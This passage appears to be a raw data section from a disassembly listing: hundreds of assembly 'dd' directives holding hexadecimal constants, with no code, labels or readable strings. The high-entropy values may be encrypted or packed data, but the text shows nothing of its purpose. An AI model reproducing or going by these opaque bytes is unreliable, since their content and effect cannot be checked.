		dd 723866B6h, 5F8F66B1h, 89A63311h, 4175A7EEh, 0D8F3D9E9h
		dd 0A60EDBE8h, 457313B0h, 1C65F6ECh, 0A8DB9551h, 0AFF26B67h
		dd 5E39690Ah, 370C0FF5h, 244E3821h, 812FBEE5h, 24336E8Eh
		dd 0F8916547h, 2131FD22h, 0A7DA4DEEh, 0E292542Ch, 0E54E644Ah
		dd 1A46E4B0h, 6D0CBE45h, 0E45D5CC8h, 0F6D94DE1h, 99C471B6h
		dd 3EA09A88h, 808C8E8Ah, 5CBDDCBh, 1684C0DAh, 4D53F1DBh
		dd 43711812h, 0BB88D120h, 4F0CD034h, 0A64C1CBCh, 3930C82Ch
		dd 3AC3DBC8h, 0A0D93277h, 0A6D74698h, 0B02BA716h, 688B9C00h
		dd 0A7261B40h, 0DECE4B2Bh, 4F0CDFA6h, 39D347A2h, 4F0CDF83h
		dd 2C855E69h, 98DB6801h, 0F95B5A5h, 34DCDCECh, 4F0CDFCBh
		dd 7343A6D9h, 5250A5DEh, 9A517D66h, 0ED0CBE47h,	65DDDC48h
		dd 7657C262h, 1946F12Bh, 0BF1FE508h, 112B090Ah,	854B5D4Bh
		dd 9702415Ah, 0CAD5765Bh, 0C00A9992h, 380856A0h, 4F0CD7B4h
		dd 0D9CD9C3Ch, 6A741798h, 0AFD63019h, 5E12BE7Ah, 0C15C02F8h
		dd 2B12BE7Ah, 0DC4B2515h, 76CD1B4Ch, 590CBF88h,	0B8EC9EF5h
		dd 0B0C70A58h, 89C712C7h, 0DE740498h, 27A73019h, 0A0C0059Ch
		dd 0B3AC7398h, 619E9500h, 1515EE3Fh, 61A4ABE9h,	9F32DB3Fh
		dd 0CBF1DB70h, 5840B107h, 0D912BE42h, 6A741798h, 0D8002897h
		dd 0A1015F9Ah, 4175D2A0h, 36E46970h, 4175D27Ah,	0B129D8E6h
		dd 0AACB575Dh, 2FD3C3EBh, 0DA26B3CAh, 19B65C68h, 590CC2DDh
		dd 672DD342h, 0F3DB1EBBh, 7EA633Ah, 55B94DCh, 0F350E6F9h
		dd 69C470DAh, 0B664F74Ch, 0A26DF959h, 81D473FAh, 63EFDF07h
		dd 6FFD6E3Eh, 9E386622h, 81BF1A35h, 83856D40h, 58418CFEh
		dd 0BBB3407Fh, 55DA1F05h, 41728F17h, 84BC1235h,	0F232F6C9h
		dd 0DFAA3D65h, 34A68EB1h, 0C609B06Ch, 0D1A1D10Bh, 9F489773h
		dd 0AFA6C42h, 8D23BB19h, 26E109A4h, 5284F41Ah, 0CF0F3C26h
		dd 110CBE47h, 2839E04Ch, 4A431656h, 5D72041Fh, 528B2EC4h
		dd 0B4675D16h, 0DEF099AFh, 0D3018D9Eh, 79B7B28Fh, 1FE5A5D6h
		dd 0D73D92B4h, 4F0CD0A0h, 0A610D870h, 3B930427h, 0A0C03178h
		dd 1AD84798h, 0B13D95Dh, 0E000B804h, 0D7F6109Fh, 0A09BEC44h
		dd 353022F1h, 1548602Ah, 0E4BF444Bh, 0F83866B5h, 1269EBEAh
		dd 4A52F3D9h, 0A9E6425Fh, 7713D686h, 0D63866ABh, 0F7D9427Dh
		dd 0AF05E59Bh, 0B4D9E54Eh, 0E053E6B2h, 666D6B79h, 5EC7DB15h
		dd 10338594h, 0D7FAE6D5h, 4C910FD0h, 0C93CDBACh, 72F82E54h
		dd 12AE2E8Dh, 240ECF9Eh, 0DB42BFh, 0CEB863FDh, 0A7DF35DEh
		dd 0CEB8629Dh, 0FB33E8B4h, 0C6927B6h, 0C589CF9Bh, 0E35EB558h
		dd 495B6F19h, 0F0537D7Ch, 4D2EB5B5h, 0CEBB2EC4h, 1E0AA2B8h
		dd 0D6522B91h, 39D2F07Ch, 371460DBh, 0BD5867B9h, 0F38F4EAEh
		dd 5C64614Ch, 6A10D65Ah, 0C0520FE3h, 0E3FBC298h, 0C0520831h
		dd 9F8F2B8Fh, 7B80F538h, 3E698FDEh, 79D2A012h, 309171CFh
		dd 0E1D8D6FCh, 33627B04h, 4A426B50h, 42526643h,	4D193257h
		dd 0A5A92987h, 0BAFB128Eh, 4E70845h, 4F8E40ACh,	45727670h
		dd 8769EC9Ah, 0AD9F7274h, 7C4312C1h, 0DB0A75B2h, 363F9BB7h
		dd 171F305Dh, 0C05640ACh, 0C8D8E559h, 0C8C21348h, 5A6156F5h
		dd 55896F0Dh, 796D8577h, 0C52040ACh, 5084C1F3h,	0AF4068F8h
		dd 0FFB12754h, 4B1B402Eh, 0BB732F0Ah, 2D897F13h, 0F3670D9Ah
		dd 0AE00431h, 0D6712566h, 9B2677Ch, 4B3846E0h, 3AC1374Eh
		dd 0BE12A06Ch, 0A2210DBFh, 68DF934h, 0EAF164C7h, 0DDC6D0FCh
		dd 553243D1h, 289B2804h, 5124F46Eh, 0CB94E6D6h,	4B52677Ch
		dd 9BD563DEh, 2B76D8A0h, 0D6277644h, 2B7EDE7Ch,	56B4DE86h
		dd 0D65263B6h, 0CBCCE07Ch, 8374B3F3h, 0F97753E9h, 964F1144h
		dd 0DF308A29h, 0A21D8CBAh
		dd 4956B828h, 9C35E2DBh, 47ADE6D1h, 492CEF60h, 44403EA3h
		dd 84B6B6ABh, 0FA1810E9h, 487753E7h, 212363C0h,	0D6526764h
		dd 0CE0B1681h, 48775BE7h, 3B0963C0h, 70597A0h, 0D6526380h
		dd 0D656627Ch, 0CBD5677Ch, 9BDD8BA0h, 0BF188A0h, 0FD3C7E80h
		dd 1DF264D9h, 0E0D8CB68h, 60AB4825h, 1FDA316Dh,	0CC98BFF4h
		dd 7DD227Fh, 86BF15CAh,	59E61405h, 61FFF2DDh, 8C7367DCh
		dd 0C5151DCBh, 9255A026h, 0F70F56AAh, 0D65262C4h, 184E047Ch
		dd 1F6E5C71h, 533489AFh, 0BCB0E6B6h, 0EC526037h, 248C2314h
		dd 0D6534DE5h, 0C6E8B1ABh, 3252677Ch, 46C88D41h, 2B6BC160h
		dd 7F7B281Eh, 0C7175727h, 0D671E37Bh, 14D2677Ch, 0EC1B88C6h
		dd 494245EEh, 327AAFC9h, 0D6627827h, 0B163677Ch, 8DD5784Ah
		dd 33BEDB38h, 1F78C3D1h, 4B6DCBA7h, 0D652677Ch,	0D5C3E68Eh
		dd 496A6CDBh, 50B2A2C1h, 0CDD554C5h, 4952677Ch,	0C67633BFh
		dd 54B596A0h, 761CFD82h, 0C8E8E0B1h, 0DDD3FE2Ah, 0D72D28C3h
		dd 0D6534EF5h, 0D7887E7Ch, 0BA86677Ch, 0F5BDB03h, 0E09BA8F6h
		dd 0D65344C9h, 5568F7Ch, 0CDEB3652h, 0E252677Ch, 4D9B000h
		dd 0E73C7E12h, 118564ABh, 0D38EA6B1h, 0A47DC484h, 1152FE2Eh
		dd 4B3F7B05h, 98BAB34Ah, 0B791F98Ch, 4CF443CCh,	69AC1DDh
		dd 0B21C53C8h, 0EC32978Fh, 951E7499h, 761E7689h, 541C53C8h
		dd 2AC29797h, 0C5F1C5F6h, 1534CA80h, 34E1FEC8h,	3AF44395h
		dd 9E64565h, 21D5D5C0h,	1202741Ah, 0F1D353C8h, 6ABD1B52h
		dd 2513A5C7h, 0B8DF741Ah, 1A0D85C8h, 1524741Ah,	12F85899h
		dd 5DFC53C8h, 0BE852904h, 46835669h, 12F65669h,	444353C8h
		dd 32293A04h, 0D903FD8h, 4FC08AD8h, 5BAA52DDh, 0EFF440DDh
		dd 1CAF581Dh, 660B5D64h, 0C7DE0A25h, 0DB83F0DFh, 0ABFE8B8Ah
		dd 0B35067C7h, 352FE8FBh, 7BB1881Ch, 19BAC8Ah, 7BB1EC55h
		dd 5 dup(7BB1ED8Ah), 0E18FA8Ah,	4AC2ED8Ah, 4CCAF1EEh, 0FDB0FD88h
		dd 0EDE3CCCBh, 8908D5D0h, 9C0EC6C4h, 75770197h,	3090091Eh
		dd 3C6F341Ch, 34E9C043h, 79918D3Ch, 0A0CBF3FDh,	0B67CD72Eh
		dd 72E206D4h, 1C5896B8h, 8F51766Ah, 9E8D9EFFh, 0C78DA25Fh
		dd 9EC0635Bh, 9A70AF5Fh, 0BECDCA5h, 4F92D280h, 514E4F6Ch
		dd 66268D90h, 0CA7AA5E6h, 80AB8E42h, 841444A4h,	1EE8D7D3h
		dd 5BC98CEEh, 0A23B41FCh, 9FC0D92Bh, 0E81DC9A6h, 4D5C5AAh
		dd 0A4100C17h, 5ED04B97h, 0BF03554Eh, 0D2F18F6Bh, 8DBB1D31h
		dd 0DD1B327Ch, 7A94A4C8h, 0BE6C6CB4h, 58330FF9h, 62550C90h
		dd 0A2FB18B3h, 0B6EC8239h, 63CD4642h, 3DAE032Eh, 2A0D933h
		dd 0A2AC4693h, 94CE5E95h, 0B6C7F359h, 8FC1DE6Eh, 0B92BB765h
		dd 0E344526Ah, 0D7F9E657h, 8E2BB765h, 6B1BC085h, 0EE70DBDAh
		dd 44E87D01h, 0C02BB8B8h, 46AF7BDDh, 4FDB978Dh,	82C97988h
		dd 7D53A5C5h, 503CAEB8h, 0A0BFE10Ch, 5A9E9DC5h,	5427DA14h
		dd 2505AECCh, 0CC270A32h, 48859267h, 5EB5F3A9h,	7FEAE0BBh
		dd 0A35FDC04h, 0E2DCD1A1h, 0A0BFE1F1h, 0D7929C67h, 68438BD3h
		dd 8EC2D1DAh, 0CAD6CFEEh, 153550E9h, 45D484B9h,	0ED8CAECCh
		dd 0ADB67645h, 4130E5B9h, 4CD6EC10h, 58374D51h,	0F3B81205h
		dd 8C95A41h, 0FA816F9Fh, 581CD96Fh, 9FDCD9EBh, 5F345D91h
		dd 6C148E4Eh, 0D4C4F97Dh, 723B944h, 5E2BB710h, 68432F55h
		dd 38214BDAh, 18A30DD1h, 18E94367h, 45C14F65h, 5E30AECCh
		dd 0EA95E05Fh, 8C785ABAh, 60D0F6C6h, 242BB71Dh,	0BD9C1465h
		dd 0A0C66C3Dh, 25B57DE0h, 6B0529BCh, 0A1584EDAh, 0A09DB4FCh
		dd 0BF2BB752h, 840BDDABh, 0DD53B5B4h, 5C7E4C90h, 278D82AFh
		dd 0D8E2CF15h, 0A935BDA4h, 1F2BB761h, 7FF768E0h, 609256F8h
		dd 0AF51B30Fh, 0AE172233h, 0C2BC784Fh, 1E29B435h, 2ED94037h
		dd 3367C51Fh, 99ABB20Eh, 7084A5C5h, 5DBFE1F4h, 46345D91h
		dd 0F92DEF1Dh, 0FF0E9EC5h, 7068553Eh, 956B3DCBh, 5FB1D44Eh
		dd 48849DAEh, 0DBE5C82Ah, 0DA051DA6h, 1DC5A471h, 0A67B3C99h
		dd 0C015E1F7h, 2AD04ED1h, 2B3E8521h, 68B0F242h,	0D1A0FE81h
		dd 0DF43BBE0h, 7DAE71C9h, 0EA66270Dh, 0E36EA526h, 0E21622AAh
		dd 0F80FBB5Fh, 0C4162042h, 0F1127D34h, 0D747AECCh, 761B3A60h
		dd 0CEF2A5C5h, 0D5BFE1F7h, 0B1543F8h, 0DC4CAECCh, 84C4CF84h
		dd 18771822h, 6063A7A8h, 441FD07Ah, 6EE35FE3h, 9AF10388h
		dd 94C95DBCh, 6A7FC6FDh, 4365A864h, 0A03A609Ah,	7478DAE6h
		dd 0D6BE340Ch, 0F4E48452h, 3EB068FCh, 60170EF9h, 0F71470E8h
		dd 69914436h, 8C49F7B0h, 6A64D103h, 0F2FB2890h,	8E8BB2Ah
		dd 0BE876C99h, 840BDDABh, 0D6D185C6h, 0C6FD8452h, 8FE8A050h
		dd 0AD70CF1Bh, 0F951A212h, 7C6D4AC5h, 83BDD268h, 0B5BCE55Bh
		dd 0B5EBA66Eh, 9B13D5C3h, 0E9FE6138h, 0DEBCE55Bh, 1F8C8B76h
		dd 56766900h, 0B6BCE55Bh, 200AF5DEh, 0E22608D7h, 0D8392E2Bh
		dd 910A12CCh, 3C360476h, 0BEF17CFCh, 60A8AD90h,	0A0A54B49h
		dd 52C1D4F7h, 2D3B0942h, 0BBD8FD43h, 0BD002DD9h, 0F21CD54h
		dd 4321FA7Ah, 0F92DC719h, 4985922Ah, 3ECE9A6Fh,	0B2A91CF9h
		dd 0CF3709A5h, 0D4FB845Dh, 57E33C16h, 0F24D339Ch, 62CED598h
		dd 0D10A98D1h, 0E0CC97Fh, 8A3585D4h, 6A64DA1Ah,	0FCC42890h
		dd 0C3A5F824h, 0D7227CD1h, 0AA8D2716h, 910A13D1h, 2D1ECB5Fh
		dd 0A0C7B731h, 0C466E1F7h, 543D479Dh, 459B926Ch, 1C9BAECCh
		dd 2CA21990h, 0E050042Dh, 0D5F76AB1h, 74A0CE14h, 5464C735h
		dd 6B08475Dh, 0E73F735Ah, 36C7F642h, 0A31B7AF2h, 28B0D06h
		dd 0A8DA53ACh, 18742ECFh, 4365A033h, 0A88CFCB1h, 35B4AECFh
		dd 0A1B6C033h, 0D50EE1F7h, 0E73F7323h, 0B6C7D942h, 0A5037AFDh
		dd 0A618AD77h, 38134A31h, 0B71C2FF9h, 37D1A4CFh, 0D81CDAB2h
		dd 0EA956B8Dh, 3DBCE456h, 929361F4h, 0F4E16D8Ch, 535DA413h
		dd 21A79BB1h, 0D81CF783h, 0EBAA1298h, 2488948Ch, 6EBADC16h
		dd 0D585FC87h, 0A4F18F5Ah, 2287523h, 225D7433h,	0CAC4EDDAh
		dd 0E2F0252Bh, 385F54A1h, 0A40DA9h, 92D49750h, 85B30274h
		dd 0EEC07B1Ch, 0DC6AA0C9h, 13116099h, 0F21FBBF7h, 0CAFD87F4h
		dd 0E1CB43EFh, 0F15FB868h, 55B61C80h, 0D69CB4B7h, 1D558AE7h
		dd 0F3B69878h, 519B44E3h, 0DEA47F1Fh, 0A4280EA8h, 0E6438Dh
		dd 7481B817h, 0FE6A247Dh, 197D220Ch, 0E177A219h, 6A6199B7h
		dd 0D5C93064h, 50CA6B45h, 61D53CB7h, 0F45D4830h, 297B3683h
		dd 43E2B0BFh, 0B5E15353h, 70C0D696h, 6AFACCA4h,	0A0BFE1F7h
		dd 0C0133FD8h, 50AD7CF5h, 67B1A9C7h, 0E5FE3636h, 0BC99A027h
		dd 121BECFBh, 37255877h, 0C4148950h, 7F4712D7h,	93A79BB9h
		dd 2001171Ah, 0A0BFFCCAh, 0A7097CF7h, 4FD5AB22h, 49EC9CC0h
		dd 0A7FE7C57h, 27BFE1F7h, 0DC32FC8Fh, 0B44D44C3h, 14C6DC3h
		dd 0A0B33C71h, 0A93EE1F7h, 0C4BB17A3h, 0C4BB16E8h, 6DC82547h
		dd 0F173A4C1h, 0D1F496D3h, 0C42B13B2h, 28B33B77h, 0A0BF6105h
		dd 21D59B28h, 0A0B59CA0h, 2E7CE1F7h, 0A0A1B76Ch, 49D5A328h
		dd 0C99C15B3h, 0C4C3E0EAh, 0A7F37E39h, 0A3BFE1F7h, 54939C93h
		dd 0A42CFB60h, 260AE6E9h, 0C20D2891h, 15BC97BCh, 6758C08Bh
		dd 7981AA20h, 7C130D5Fh, 0D88B9A6Dh, 0D4A467Bh,	48327555h
		dd 0B07040C1h, 0A4ADB8AEh, 0B75646A6h, 0AE5ABC8Ah, 7720B0C5h
		dd 55D4B5CFh, 348C82F7h, 77D28898h, 0FF8447BAh,	0C7DFAFA6h
		dd 647AAC74h, 0AEBBCD8h, 0BD3A5062h, 0FA93BC66h, 0A2CD54A6h
		dd 9E1B4989h, 33ECF918h
		dd 0CF2B4100h, 2FA919Fh, 0B3C4B5A9h, 0B007E0B5h, 44BFE1F7h
		dd 0D7C4FF83h, 0FCF794CCh, 4B93F771h, 0C60676C2h, 0A2C61D4h
		dd 7380CA46h, 0B75D44D1h, 2765F80Fh, 0A199E0B7h, 0A014F9F7h
		dd 2F59E1F7h, 0C7389965h, 387DFFD0h, 0ECA313C3h, 20EDF15Ch
		dd 0E09643CAh, 0D2B28BFEh, 472E671h, 0E3B8A2A3h, 21CEFFC6h
		dd 0CC27496Eh, 539E48A9h, 1022A571h, 0A72705ECh, 20077C58h
		dd 0BAC89E84h, 0A9CEE971h, 818B3F70h, 92475CFh,	0CB35B0CBh
		dd 1626FA29h, 77A4F277h, 71E914D4h, 9C965E3Fh, 0B08054EFh
		dd 5484E14Ah, 55BAFDBBh, 120AFE1Dh, 0A93E5846h,	1F9918A6h
		dd 342E9891h, 0B04AF44Fh, 9D770A23h, 20A31E78h,	81D497F3h
		dd 81BE8F4Ch, 9D4A784Ch, 20BBCD78h, 1A11CD7Bh, 2D164641h
		dd 2C9CE84Fh, 0B06399E1h, 0FAE1A0B2h, 60523878h, 0BD777E78h
		dd 1ABD4DDAh, 1DFE2B9Ch, 65FE2B8Ch, 0A7777E78h,	6EEE4DFDh
		dd 2850CA39h, 8CF09417h, 1ABD7E78h, 2D040D39h, 0E63FC54Fh
		dd 643D33F9h, 9D4AED04h, 1CAB0EF8h, 0E63FC2D7h,	643D035Dh
		dd 9D777E78h, 9BF9FCC3h, 8C436615h, 2D1ECDD2h, 0B74AF44Fh
		dd 9D770A23h, 20BC1E78h, 81CC97DAh, 81BE8F4Ch, 9D4A7A4Ch
		dd 2014C878h, 8CFE4640h, 0B29A7E78h, 0AD2D2FF1h, 1B38F281h
		dd 0F677C726h, 643D1625h, 751460F6h, 9D777E7Bh,	0FD8BC298h
		dd 601EE3CDh, 601ECBA5h, 9D777FC4h, 0D98B3A8Fh,	2C062348h
		dd 62030E36h, 0BDF39B25h, 14726615h, 643D7811h,	0F65C60F6h
		dd 643A7EF9h, 5155BFC3h, 97B7A838h, 0A4299C2Dh,	0EAA81CF7h
		dd 0CC92540h, 6C053855h, 5F3B0294h, 0D0BCF6D0h,	91C63CDBh
		dd 711C0DB1h, 0AE071144h, 0C6C7EA69h, 8B00D97h,	1029D671h
		dd 2AAD44E6h, 4A2293E6h, 0AD6DD3B9h, 0A526B6BDh, 2326B225h
		dd 0EB2293E6h, 0AC55D211h, 0B3C29E41h, 0A14854C9h, 0EFEFF986h
		dd 85F80A68h, 0E329C170h, 23540DBBh, 251AE7C3h,	2A35E968h
		dd 0E44293E6h, 3EA9A0A1h, 0AEA1925Ah, 2A569385h, 1FE493E6h
		dd 0AAABB6A1h, 2A22933Bh, 45F305BBh, 6F69E7C3h,	0EFD1AC17h
		dd 2A2466C6h, 9252916Ch, 2A2293E1h, 0E07E5786h,	0EE4956BBh
		dd 0EE495553h, 2A22AE15h, 387E5E26h, 0AD4CFB9Eh, 955A44FEh
		dd 7DB3C8E5h, 2A29C17Fh, 4C2293E6h, 0CA2AD153h,	25E726DDh
		dd 251AE7C3h, 2A35E914h, 0E04293E6h, 1EA9BCA1h,	0AEA1925Ah
		dd 2A539385h, 1BF093E6h, 2876AEA1h, 0ECB3FFA1h,	0AD2293E6h
		dd 9542ACFEh, 93BD79E5h, 223F06DDh, 2BA4E7C3h, 87246DE4h
		dd 95254457h, 21610CE5h, 850A394Ah, 0FD5B1EC6h,	0CBC813AFh
		dd 35F116AAh, 0B0DDB0BDh, 6731C70h, 3ABED997h, 1CD97BD2h
		dd 9E27CDE1h, 3FFCDFE9h, 6A58FB06h, 0F0B48E43h,	7876D1E6h
		dd 873D40C6h, 0A0CC261Ch, 9E29B176h, 73D158C4h,	9EC5261Ch
		dd 9B27D2E9h, 0DA4E43Dh, 717CCDA0h, 0DFCC1AF6h,	0E55AB810h
		dd 8A3140C6h, 2FCC261Ch, 249182A7h, 9E3C401Ah, 0DAF1D2E9h
		dd 0C7CC80D6h, 595B0219h, 9E4AA11Ah, 9C8FD2E9h,	903C5E7Dh
		dd 99AA551Ah, 29CCD2E9h, 78313064h, 9F0940C6h, 0C4CC261Ch
		dd 798AAEC3h, 9E27C8E4h, 8AAE93E9h, 180BD516h, 0D812E75Bh
		dd 0EDB14FF6h, 18AE05E0h, 8BD67E03h, 0AB0C3EAh,	0C7B6D3EAh
		dd 9E27D20Bh, 19586DA2h, 4CC67FEAh, 0A70B8EBAh,	0D2C234D8h
		dd 0E12662ACh, 9E27D2EFh, 9FF2A0A4h, 0F86F261Ch, 21B92115h
		dd 0C0D9B37Ah, 0C61FA28Ch, 59EDEFC8h, 0CBA9F686h, 0B08F140Bh
		dd 204D64AFh, 0D3A99CEDh, 0F28F13CEh, 77D6A4EEh, 0DA841FF2h
		dd 38DCA2CAh, 5B77BACBh, 61658E6Ah, 80C4A5D6h, 418AF6DEh
		dd 821018E4h, 508F1028h, 0B128636Ch, 9DD7B9DDh,	555F5341h
		dd 7C841F56h, 0B0B83069h, 60073E3Dh, 1429AF1Ch,	36B9205Dh
		dd 8127646Ah, 8BBB9BEDh, 868F14F5h, 0DAEF83ADh,	9DD56520h
		dd 0B2264546h, 0AE0A9BB8h, 0E40383Eh, 9883C27h,	0B257B227h
		dd 0AF4A60B8h, 0F50FBCAEh, 54CC95C5h, 774A2BAFh, 0E950B94Ah
		dd 0DBB10D5Dh, 0A14FC7E1h, 60ABB935h, 5CE1BBBEh, 1BA99F46h
		dd 1D3D6793h, 0B257BB21h, 9DD565B8h, 0B2264546h, 0AE0A9BB8h
		dd 0E40383Eh, 9883C27h,	0B23DFF27h, 0AF4A60B8h,	0D02EA54Ah
		dd 0C3D5EC2Fh, 1D330703h, 9FD56521h, 0B2264546h, 0AF409BB8h
		dd 9F0383Ch, 9883C27h, 0B257B427h, 0AF4002B8h, 0B3AE3BF7h
		dd 86FF80C1h, 0DCF1BB29h, 64D5EC70h, 0FD7D50BEh, 0D257BBB9h
		dd 25438152h, 2DB19E62h, 95B19FBAh, 6D57BA6Bh, 2C1F82CAh
		dd 8C0737F6h, 5EB4BBC4h, 0DBB2BA75h, 3C69FECDh,	7BA0F50Dh
		dd 8F365182h, 0F1D86993h, 643AE80h, 0EEFF7375h,	2FB8EFC1h
		dd 9304EA65h, 1BB9D03Ch, 814D4DF4h, 70C68AB8h, 16F76C3Eh
		dd 174B43DFh, 7FC0735Bh, 0B706F572h, 44F12C7Dh,	622946FFh
		dd 55152AA8h, 0AF109710h, 53F12C7Dh, 7ED57777h,	4D208FA4h
		dd 9E47969Ch, 13F47F2Fh, 0C3742A58h, 0A4F100DEh, 3253F7DDh
		dd 0B7728167h, 0B772895Ch, 0A4F100F4h, 5753DA1Ch, 0AA2DAE14h
		dd 169BE57h, 36D73B53h,	13F41E3Bh, 0A40EDBC6h, 3D7B0C64h
		dd 36D7C6ADh, 13F43117h, 0A4F12C72h, 0FD3B2A5Bh, 0A4F100DEh
		dd 2B53F2DDh, 0B7709967h, 0B772895Ch, 0A4F1000Bh, 0E653F8BFh
		dd 0C9376B86h, 191C09BCh, 70F12C72h, 8BFF663Bh,	0B59165ACh
		dd 9E06D313h, 0A40EC807h, 0B79AD57Dh, 5BED4E66h, 46C858D1h
		dd 0C8CFC6ADh, 0DA79CEA7h, 7FDA5C35h, 0B706F572h, 44F12C7Dh
		dd 622946FFh, 55152AA8h, 1C109710h, 53F12C72h, 0C9727777h
		dd 9D9D0305h, 0AAC84DABh, 0B0EE27Fh, 0A50EF44Ch, 0FC40417Fh
		dd 5423938Dh, 0BA4345CAh, 0AF6295F4h, 0D3D12DEAh, 9AB7FB6Fh
		dd 6CC7A05Ah, 0F2762A4Eh, 0B87BF208h, 0FDB8F4FBh, 0C952E650h
		dd 0F08B05h, 0E8B24FFAh, 0AD6D5312h, 0AD6CE486h, 0F08AD1h
		dd 90B25598h, 38A67A74h, 35932129h, 4F08BD8h, 19DFB47Ah
		dd 543E33Eh, 8131C41Bh,	0B12C6DF2h, 2F0D2015h, 0D65C5385h
		dd 1A13F3h, 3F7241DAh, 0FB2ADDh, 60A6EBDAh, 0CDCFA1A9h
		dd 0CDBA0A04h, 0F08F04h, 604EE5DAh, 0AB65AB45h,	0F9634498h
		dd 0BD714437h, 323F4292h, 6C57EDA4h, 0F08BDAh, 0C94EE650h
		dd 0F08B05h, 1480ABFAh,	0AD3FB312h, 0AD6CE486h,	0F08C83h
		dd 5BB251C4h, 0C72DBBC6h, 638D27AFh, 6C57F0DCh,	0C94EE650h
		dd 0F08B05h, 1480ABFAh,	0AD3FB312h, 0AD6CE486h,	0F08AD7h
		dd 69B251C4h, 9C569DFEh, 1138816h, 0B453BA2h, 0A386A605h
		dd 0A0F08B05h, 0E9F4674Ch, 810C83ABh, 0F90C83B3h, 0EDF08BD8h
		dd 0AE2A7796h, 8CBBF787h, 0B329F60h, 3D138C05h,	0E8453A05h
		dd 483CC347h, 0D9E5F0B5h, 80AA7474h, 0DAD0856Dh, 0DE01C96Fh
		dd 0DD5BB8D5h, 88CFF7F1h, 5BF29141h, 1838992Bh,	1FD98A69h
		dd 2E50DCCEh, 93694ADFh, 0D537213Eh, 0C85F1DB8h, 22AA89F5h
		dd 35F47259h, 3C3366C1h, 28BBCB82h, 0AEBCC443h,	0C04E3D70h
		dd 0D307F801h, 2B98198h, 0CF2CD082h, 3F7BE64Dh,	68240BAEh
		dd 0ED47DB61h, 1FB3FEA2h, 0D8425C44h, 761216F3h, 475F07EBh
		dd 126ADB13h, 0F89998D4h, 0D3C8A47Bh, 0A6F60C53h, 9AA74004h
		dd 0DEC3DDBCh, 0E1CA49E6h, 6B0A67E0h, 0D1700DBAh, 0A5D5C7F7h
		dd 8177371Fh, 0D8230AF1h, 962A0B7h, 0F203ADEFh,	9AE70C64h
		dd 27271132h, 0D3C09DCEh, 0D17CA453h, 0D4580C53h, 9CF30FAEh
		dd 26453FFFh, 59FD551Ah, 39B27A8Eh, 0EBE052DAh,	0FFE969BBh
		dd 4662A082h, 4FABE351h
		dd 2445D0E9h, 4662BF50h, 94FE4F19h, 978039Ch, 58700C53h
		dd 0D028B1CDh, 0D16FF0B8h, 0B62D1F9Eh, 0D17B6A7Dh, 66C23653h
		dd 0E93E3778h, 80D572Bh, 0D1648050h, 0C9E70C53h, 26672F59h
		dd 38C9A2D3h, 0B478A6E4h, 0D1715AD2h, 0D3F7A453h, 40760C53h
		dd 9AB75FDAh, 0D17BA9BBh, 20490C53h, 0E96B061Ah, 89E2762Bh
		dd 0B1BC13D6h, 0E406441Ah, 17D0A22Ch, 1FBE0C12h, 17C9868Bh
		dd 6 dup(17C98212h), 0D5648212h, 8FC98276h, 2476AE72h
		dd 71FC41D3h, 0FB595F8Bh, 0B992D384h, 0D3217925h, 0A79039Bh
		dd 3F66492Bh, 0F2CC994Ch, 455BCF13h, 0B319D671h, 35C81ABCh
		dd 0B6E0C900h, 967F7095h, 945478F0h, 495B016h, 2149BDAAh
		dd 0E8315F58h, 165D5535h, 0B0C54844h, 0DFF3732Eh, 88E4CA07h
		dd 0BB502EB2h, 585C9923h, 5B7AADA1h, 0E0CBDF7Bh, 1F07601h
		dd 31B89223h, 0BDC1A1FDh, 6BD93DBCh, 857088BFh,	0F6BA7065h
		dd 0B9DD5521h, 7699F680h, 0CE1F623Eh, 0DA4DDF81h, 0D6152F49h
		dd 85CD189Bh, 0E8F86F1Ch, 33AFAA72h, 4CDC1A10h,	0DEB52CBBh
		dd 0E892138h, 0A451698h, 6DCAB648h, 88D6AFE1h, 0D41ABB1Dh
		dd 83D833BFh, 0C561F585h, 12C9189Bh, 0AC4900D3h, 5B21CC33h
		dd 0E8939F8h, 57AF6498h, 4797E34Ch, 1456EFBCh, 901A8212h
		dd 0EE988443h, 0BC177FD0h, 23CFF321h, 69001769h, 0E5FE85CFh
		dd 0A52AB77Ah, 43235DC9h, 64B60921h, 0FB3F1D25h, 0FD320B55h
		dd 0BE7E80CCh, 0DAD33135h, 17C9811Fh, 0C8177B12h, 0E60F0989h
		dd 967F0DB3h, 68729C86h, 29B92960h, 8CDA03C5h, 119D0CA4h
		dd 23B48E13h, 0A3DB1769h, 90B2E9B3h, 0BF239A52h, 6D2F15C4h
		dd 0E9CFA496h, 0ACA2C3D7h, 93170DE3h, 78083B00h, 32355DD3h
		dd 79F86077h, 0E428FA9Bh, 0D7AB3205h, 3C4EF999h, 8A5E8ECDh
		dd 0F1328452h, 0E34D30D8h, 0CA35ED77h, 0E2CA5798h, 308B03F6h
		dd 0DAC69614h, 17F72DF4h, 776D7E12h, 0E7BB26ADh, 0CDCB9971h
		dd 1320B779h, 0C5800C9Eh, 0FB878003h, 0EA0A8CAFh, 0A099971h
		dd 0A0B86620h, 0FAC89FE3h, 0EBC98212h, 4DF6E054h, 0ABC6AC39h
		dd 57A533BEh, 0F2DED8Ah, 3A12C098h, 9C315252h, 0ACBCBC87h
		dd 0E19DD690h, 4FDDA780h, 4204DE54h, 0A1DCADA7h, 921A68B4h
		dd 83B91769h, 3C9C49C2h, 4B38738h, 88ED21E8h, 0CCADF847h
		dd 17C98562h, 62532EBCh, 1B46B6E2h, 0FD24811Fh,	0F7317916h
		dd 901FE154h, 90402FA7h, 935E1769h, 963E9FC9h, 0A4CBAE39h
		dd 6CCA2063h, 1B34EFC4h, 11D366DFh, 931A5013h, 8AB1713Dh
		dd 0D6419774h, 1ADF3B03h, 0A4E82E5Ch, 1F232B60h, 0C7363F4Ah
		dd 0B592B369h, 0F1E44F3h, 54ADDD88h, 0FE09985Ah, 0E870F4B9h
		dd 1F97B7Ch, 9A338EE4h,	21AF26ADh, 0ADB7B96h, 0C09AFC0Bh
		dd 3AB54C35h, 7DE6EAD7h, 0E87DCEE9h, 8E887B7Ch,	0CAA0026Eh
		dd 0AEABDB38h, 0F4887AAAh, 0E6DD0CC4h, 0B4F1E094h, 0D47EC41h
		dd 0CE25A927h, 8078B46Fh, 0D3EC07C2h, 849ED752h, 8B6903DCh
		dd 968A187Ch, 0B24AA1B6h, 0CD928277h, 23EDDEBCh, 13A21769h
		dd 0E07C50Eh, 67D6DC98h, 0AAD22CDh, 0CD029D3Ah,	0FE8065D9h
		dd 4D5BA600h, 0A868A5D1h, 3ACFDAC5h, 724C9E93h,	469B2288h
		dd 41DCDCAh, 892D480Fh,	26F347F8h, 0C3371BBBh, 9D5FCD1Dh
